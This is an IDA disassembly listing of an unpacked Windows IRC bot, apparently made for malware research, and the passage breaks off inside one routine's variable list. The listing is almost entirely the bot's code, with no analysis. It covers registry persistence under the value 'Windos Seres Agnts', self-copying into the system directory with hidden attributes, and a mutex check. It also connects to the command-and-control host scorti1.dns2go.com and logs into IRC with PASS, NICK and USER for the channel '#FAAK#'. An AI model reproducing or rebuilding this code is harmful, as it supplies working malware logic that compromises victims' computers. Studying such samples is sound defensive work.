; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : D90B649556809188ACB370EBFC9CDF4C ; File Name : u:\work\d90b649556809188acb370ebfc9cdf4c_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00025B34 ( 154420.) ; Section size in file : 00025B34 ( 154420.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401000(char *Str) sub_401000 proc near ; CODE XREF: WinMain(x,x,x,x)+358p ; sub_4188A6+1Ep var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindosSeresAgn ; "Windos Seres Agnts" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CB988 ; RegCreateKeyExA cmp [ebp+Str], esi jz short loc_40104D push [ebp+Str] ; Str call _strlen pop ecx push eax push [ebp+Str] push 1 push esi push ebx push [ebp+var_4] call dword_4CB9F8 ; RegSetValueExA jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CB938 ; RegDeleteValueA loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CB9B0 ; RegCloseKey add edi, 8 cmp edi, offset aRb ; "rb" jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_427220[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4010AB(char *Filename) sub_4010AB proc near ; CODE XREF: sub_4167A0+24Ap var_10 = dword ptr -10h Filename = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx ; Mode call _malloc mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+Filename] ; Filename mov esi, eax call _fopen mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx ; Size push esi ; Src call sub_41BBE2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi ; File push 1 ; Count lea eax, [esi+ebx-1] push 1 ; ElementSize push eax ; DstBuf call _fread add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41BA91 push edi ; File call _fclose add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: WinMain(x,x,x,x)+14o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h Dst = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43E91C call dword_4CBA6C ; closesocket call sub_40B583 call dword_4CB92C ; WSACleanup call dword_4CB92C ; WSACleanup mov ebx, ds:dword_427080 push 64h call ebx ; Sleep xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_54] pop esi push esi ; Size push edi ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43DB88 mov [ebp+var_28], 1 mov [ebp+var_24], di call ds:dword_42707C ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call ds:dword_427078 ; GetModuleFileNameA lea eax, [ebp+Dst] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call ds:dword_427074 ; CreateProcessA test eax, eax jz short loc_4011E2 push 64h call ebx ; Sleep push [ebp+Dst] mov esi, ds:dword_427070 call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43DB80 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call ds:dword_42706C ; ExitProcess pop edi pop esi pop ebx loc_401205: ; DATA XREF: .data:00429004o jmp $+5 push 0FFFFh push 539h call sub_418BD1 pop ecx mov dword_4CB710, eax pop ecx retn sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) _WinMain@16 proc near ; CODE XREF: start+C9p var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h Filename = byte ptr -6F4h Str = byte ptr -5F4h Ext = byte ptr -4F0h SubStr = byte ptr -3F0h FullPath = byte ptr -2ECh Dest = byte ptr -1E8h var_E4 = dword ptr -0E4h var_D8 = dword ptr -0D8h var_B8 = dword ptr -0B8h var_B4 = word ptr -0B4h Source = byte ptr -0A0h Dst = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 hInstance = dword ptr 8 hPrevInstance = dword ptr 0Ch lpCmdLine = dword ptr 10h nShowCmd = dword ptr 14h push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_C], ebx mov [ebp+var_4], offset sub_40111D push [ebp+var_4] push large dword ptr fs:0 mov large fs:0, esp mov esi, ds:dword_4270B0 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_4CB714, eax call esi ; GetTickCount push eax call sub_41C2B8 pop ecx call sub_409909 push 2 call dword_4CBA80 ; SetErrorMode push 7530h push offset aSbrti ; "sbrti" push ebx push ebx call ds:dword_4270AC ; CreateMutexA push eax call ds:dword_4270A8 ; WaitForSingleObject cmp eax, 102h jnz short loc_4012A1 push 1 call ds:dword_42706C ; ExitProcess loc_4012A1: ; CODE XREF: WinMain(x,x,x,x)+76j lea eax, [ebp+var_884] push eax push 202h call dword_4CB944 ; WSAStartup cmp eax, ebx jnz loc_4017E4 cmp [ebp+var_884], 2 jnz loc_4017DE xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp+SubStr] push esi push eax call ds:dword_42707C ; GetSystemDirectoryA lea eax, [ebp+FullPath] push esi push eax push ebx call ds:dword_4270A4 ; GetModuleHandleA push eax call ds:dword_427078 ; GetModuleFileNameA lea eax, [ebp+Ext] push eax ; Ext lea eax, [ebp+Filename] push eax ; Filename push ebx ; Dir lea eax, [ebp+FullPath] push ebx ; Drive push eax ; FullPath call __splitpath add esp, 14h lea eax, [ebp+Ext] push eax lea eax, [ebp+Filename] push eax push offset aSS ; "%s%s" lea eax, [ebp+Str] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+SubStr] push eax ; SubStr lea eax, [ebp+FullPath] push eax ; Str call _strstr add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset Str ; "vdobbhjb.exe" jz short loc_40139C push esi ; Str xor edi, edi call _strlen sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: WinMain(x,x,x,x)+179j call _rand push 1Ah cdq pop ecx idiv ecx push esi ; Str add dl, 61h mov byte ptr Str[edi], dl ; "vdobbhjb.exe" inc edi call _strlen sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: WinMain(x,x,x,x)+148j ; WinMain(x,x,x,x)+156j lea eax, [ebp+SubStr] push esi push eax lea eax, [ebp+Dest] push offset Format ; "%s\\%s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Dest] push eax call ds:dword_4270A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp+Dest] push 80h push eax call ds:dword_42709C ; SetFileAttributesA loc_4013DC: ; CODE XREF: WinMain(x,x,x,x)+1A7j mov esi, ds:dword_427098 lea eax, [ebp+Dest] push ebx push eax lea eax, [ebp+FullPath] xor edi, edi push eax loc_4013F3: ; CODE XREF: WinMain(x,x,x,x)+209j call esi ; CopyFileA test eax, eax jnz short loc_40142C call ds:dword_427094 ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: WinMain(x,x,x,x)+1E5j push 1 pop edi push 3A98h call ds:dword_427080 ; Sleep lea eax, [ebp+Dest] push ebx push eax lea eax, [ebp+FullPath] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: WinMain(x,x,x,x)+1D6j ; WinMain(x,x,x,x)+1E0j ... lea eax, [ebp+Dest] push eax call sub_4187E0 pop ecx lea eax, [ebp+Dest] push 7 push eax call ds:dword_42709C ; SetFileAttributesA push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_E4] pop esi push esi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_E4], esi mov [ebp+var_D8], offset byte_43DB88 mov [ebp+var_B4], bx push 1 pop esi mov [ebp+var_B8], esi call ds:dword_427090 ; GetCurrentProcessId push eax push esi push 100000h loc_401495: ; DATA XREF: .data:off_433094o call ds:dword_42708C ; OpenProcess lea ecx, [ebp+FullPath] push ecx push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_988] push offset aSDS ; "%s %d \"%s\"" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Dst] push eax lea eax, [ebp+var_E4] push eax lea eax, [ebp+SubStr] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+Dest] push eax call ds:dword_427074 ; CreateProcessA test eax, eax jz short loc_401516 push 0C8h call ds:dword_427080 ; Sleep push [ebp+Dst] mov esi, ds:dword_427070 call esi ; CloseHandle push [ebp+var_1C] call esi ; CloseHandle call dword_4CB92C ; WSACleanup push ebx call ds:dword_42706C ; ExitProcess loc_401516: ; CODE XREF: WinMain(x,x,x,x)+137j ; WinMain(x,x,x,x)+2CBj cmp dword_4DBDF8, 2 jle short loc_401562 mov eax, dword_4DBDFC push dword ptr [eax+4] ; Str call _atoi pop ecx mov esi, eax push 0FFFFFFFFh push esi call ds:dword_4270A8 ; WaitForSingleObject push esi call ds:dword_427070 ; CloseHandle mov eax, dword_4DBDFC cmp [eax+8], ebx jz short loc_401562 push 7D0h call ds:dword_427080 ; Sleep mov eax, dword_4DBDFC push dword ptr [eax+8] call ds:dword_427088 ; DeleteFileA loc_401562: ; CODE XREF: WinMain(x,x,x,x)+2FCj ; WinMain(x,x,x,x)+326j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CBAA4, ebx jnz short loc_40157F lea eax, [ebp+Str] push eax ; Str call sub_401000 pop ecx loc_40157F: ; CODE XREF: WinMain(x,x,x,x)+347j ; WinMain(x,x,x,x)+34Fj lea eax, [ebp+Source] push offset asc_429A98 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push ebx ; int push eax ; Source call sub_40B3BA lea eax, [ebp+Source] push eax call sub_415D38 push 0B80h ; Size push ebx ; Val push offset dword_43DB90 ; Dst call _memset add esp, 24h lea eax, [ebp+Source] push offset asc_429A74 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 1 ; int push eax ; Source call sub_40B3BA add esp, 14h mov esi, eax mov edi, ds:dword_427084 lea eax, [ebp+var_8] push eax push ebx push ebx push offset sub_419F4D push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz short loc_401622 call ds:dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_429A34 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_401622: ; CODE XREF: WinMain(x,x,x,x)+3E4j lea eax, [ebp+Source] push eax call sub_415D38 push 2 call sub_40B602 pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp+Source] push offset asc_429A08 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 2 ; int push eax ; Source call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp+var_8] push eax push ebx push esi push offset sub_410BFD push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz short loc_40169A call ds:dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_4299D4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40169A: ; CODE XREF: WinMain(x,x,x,x)+45Cj lea eax, [ebp+Source] push eax call sub_415D38 pop ecx loc_4016A7: ; CODE XREF: WinMain(x,x,x,x)+418j call _rand push 7Fh ; Count and eax, 3 push offset Source ; "scorti1.dns2go.com" push offset Dest ; Dest mov dword_4CB888, eax call _strncpy mov eax, dword_42906C push 3Fh ; Count mov edi, offset byte_4CB79C push offset aFaak ; "#FAAK#" push edi ; Dest mov dword_4CB86C, eax call _strncpy push 3Fh ; Count mov esi, offset byte_4CB7DC push offset aSaad_ ; "saad." push esi ; Dest call _strncpy add esp, 24h mov dword_4CB870, ebx loc_4016FC: ; CODE XREF: WinMain(x,x,x,x)+563j ; WinMain(x,x,x,x)+56Ej ... mov [ebp+var_4], ebx loc_4016FF: ; CODE XREF: WinMain(x,x,x,x)+517j push offset dword_4CB718 mov dword_4CB884, ebx call sub_4017ED cmp eax, 2 mov [ebp+var_10], eax jz loc_4017D9 cmp dword_4CB884, ebx jz short loc_401726 dec [ebp+var_4] loc_401726: ; CODE XREF: WinMain(x,x,x,x)+500j push 0BB8h call ds:dword_427080 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_4016FF cmp [ebp+var_10], 2 jz loc_4017D9 cmp [ebp+var_C], ebx jz short loc_401789 push 7Fh ; Count push offset Source ; "scorti1.dns2go.com" push offset Dest ; Dest call _strncpy mov eax, dword_42906C push 3Fh ; Count push offset aFaak ; "#FAAK#" push edi ; Dest mov dword_4CB86C, eax call _strncpy push 3Fh ; Count push offset aSaad_ ; "saad." push esi ; Dest call _strncpy add esp, 24h mov [ebp+var_C], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: WinMain(x,x,x,x)+526j cmp byte_4290E4, bl jz loc_4016FC push 7Fh ; Count push offset byte_4290E4 ; Source push offset Dest ; Dest call _strncpy mov eax, dword_429070 push 3Fh ; Count push offset aFaak_0 ; "#FAAK#" push edi ; Dest mov dword_4CB86C, eax call _strncpy push 3Fh ; Count push offset aSaad__0 ; "saad." push esi ; Dest call _strncpy add esp, 24h mov [ebp+var_C], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: WinMain(x,x,x,x)+4F4j ; WinMain(x,x,x,x)+51Dj call sub_40B583 loc_4017DE: ; CODE XREF: WinMain(x,x,x,x)+A1j ; WinMain(x,x,x,x)+B1j call dword_4CB92C ; WSACleanup loc_4017E4: ; CODE XREF: WinMain(x,x,x,x)+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h _WinMain@16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: WinMain(x,x,x,x)+4E9p ; DATA XREF: sub_401ACD+654Co var_190 = dword ptr -190h Args = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h Dest = byte ptr -2Ch Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_3C] call dword_4CB9D4 ; htons mov [ebp+var_E], ax lea eax, [ebp+Args] push eax call sub_40A8F0 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch ; Size lea eax, [ebp+Dest] push 0 ; Val push eax ; Dst call _memset push 0 ; Str1 lea eax, [ebp+Dest] push dword_4290A0 ; int push dword_42909C ; int push eax ; Dest call sub_40AE84 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh ; Count add eax, offset byte_43E928 push edi ; Source push eax ; Dest call _strncpy add esp, 28h push 6 push 1 push 2 call dword_4CBA54 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43E91C[eax], esi lea eax, [ebp+Dst] push eax push esi call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CBA6C ; closesocket call sub_40A919 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j call ds:dword_427080 ; Sleep jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+Args] push eax ; Args push offset unk_429AD0 ; Format call sub_415DAC push [ebp+var_38] lea eax, [ebp+Args] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CBA6C ; closesocket test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B6D6 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p Dst = byte ptr -1A90h var_A90 = dword ptr -0A90h var_2C0 = dword ptr -2C0h var_140 = dword ptr -140h Str = byte ptr -0A0h Dest = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Source = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call __alloca_probe push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CB880, bl jz short loc_40199A push offset byte_4CB880 ; Args push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] ; int call sub_409823 add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+Source] lea eax, [ebp+Dest] push ebx ; Str1 push ebx ; int push 2 ; int push eax ; Dest call sub_40AE84 add esp, 10h push eax lea eax, [ebp+Str] push [ebp+Source] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Str] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+arg_0] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CBA6C ; closesocket push 1388h call ds:dword_427080 ; Sleep loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+Dst] push esi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push ebx push esi push eax push [ebp+arg_0] call dword_4CB9EC ; recv test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax ; int lea eax, [ebp+Dst] push eax ; Str call sub_4184CC pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] ; int lea eax, [ebp+var_8] push esi ; File push eax ; int lea eax, [ebp+var_140] push eax ; int lea eax, [ebp+var_2C0] push eax ; int push [ebp+arg_18] ; int push [ebp+Source] ; Source push [ebp+arg_8] ; int push [ebp+arg_4] ; int push [ebp+arg_0] ; int push dword ptr [edi] ; Src call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h call ds:dword_427080 ; Sleep jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401ACD(int Src,int,int,int,char *Source,int,int,int,int,FILE *File,int) sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_569C = dword ptr -569Ch var_568C = byte ptr -568Ch var_528C = byte ptr -528Ch var_50FC = byte ptr -50FCh var_4FF8 = byte ptr -4FF8h var_4EF8 = byte ptr -4EF8h var_4CF8 = byte ptr -4CF8h var_4BF8 = byte ptr -4BF8h var_4AF4 = byte ptr -4AF4h FullPath = byte ptr -49F4h var_48F0 = byte ptr -48F0h Dest = byte ptr -47F0h var_46F0 = byte ptr -46F0h var_45F0 = dword ptr -45F0h var_458C = byte ptr -458Ch var_448C = byte ptr -448Ch var_438C = byte ptr -438Ch Str = byte ptr -428Ch var_408C = byte ptr -408Ch var_3F8C = dword ptr -3F8Ch var_3F88 = byte ptr -3F88h var_3F08 = byte ptr -3F08h var_3E04 = byte ptr -3E04h var_3D00 = dword ptr -3D00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = byte ptr -3CE8h var_3C68 = byte ptr -3C68h var_3BE8 = byte ptr -3BE8h var_3B68 = byte ptr -3B68h var_3AE8 = byte ptr -3AE8h var_3A68 = dword ptr -3A68h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = byte ptr -3A58h var_37D1 = byte ptr -37D1h var_37D0 = byte ptr -37D0h var_36CC = dword ptr -36CCh var_36C4 = dword ptr -36C4h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B0 = dword ptr -36B0h var_36AC = dword ptr -36ACh var_36A8 = byte ptr -36A8h var_3628 = byte ptr -3628h var_35A8 = byte ptr -35A8h var_3528 = byte ptr -3528h var_34A8 = dword ptr -34A8h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = byte ptr -3494h var_3414 = byte ptr -3414h var_3394 = byte ptr -3394h var_3314 = byte ptr -3314h var_3294 = dword ptr -3294h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = byte ptr -3280h var_3200 = byte ptr -3200h var_3180 = byte ptr -3180h var_3100 = byte ptr -3100h var_3080 = dword ptr -3080h var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = byte ptr -306Ch var_2FEC = byte ptr -2FECh var_2F6C = byte ptr -2F6Ch var_2EEC = byte ptr -2EECh var_2E6C = dword ptr -2E6Ch var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h Filename = byte ptr -2E5Ch var_2D58 = dword ptr -2D58h var_2D54 = byte ptr -2D54h var_2C50 = byte ptr -2C50h var_2B4C = dword ptr -2B4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = byte ptr -2B40h var_2AC0 = dword ptr -2AC0h var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AAC = byte ptr -2AACh var_2994 = byte ptr -2994h var_2914 = dword ptr -2914h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = byte ptr -28FCh var_287C = byte ptr -287Ch var_277C = byte ptr -277Ch var_267C = dword ptr -267Ch var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = byte ptr -2654h var_25D4 = byte ptr -25D4h var_24D4 = byte ptr -24D4h var_23D4 = dword ptr -23D4h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = byte ptr -23ACh var_232C = byte ptr -232Ch var_22AC = byte ptr -22ACh var_222C = dword ptr -222Ch var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = byte ptr -2218h var_2198 = byte ptr -2198h var_2118 = byte ptr -2118h var_2098 = dword ptr -2098h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = byte ptr -2084h var_2004 = byte ptr -2004h var_1F84 = byte ptr -1F84h var_1F04 = dword ptr -1F04h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = byte ptr -1EF0h var_1DF0 = byte ptr -1DF0h var_1D70 = dword ptr -1D70h var_1D68 = dword ptr -1D68h var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D4C = byte ptr -1D4Ch var_1D38 = byte ptr -1D38h var_1C34 = byte ptr -1C34h var_1BB0 = dword ptr -1BB0h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B98 = byte ptr -1B98h 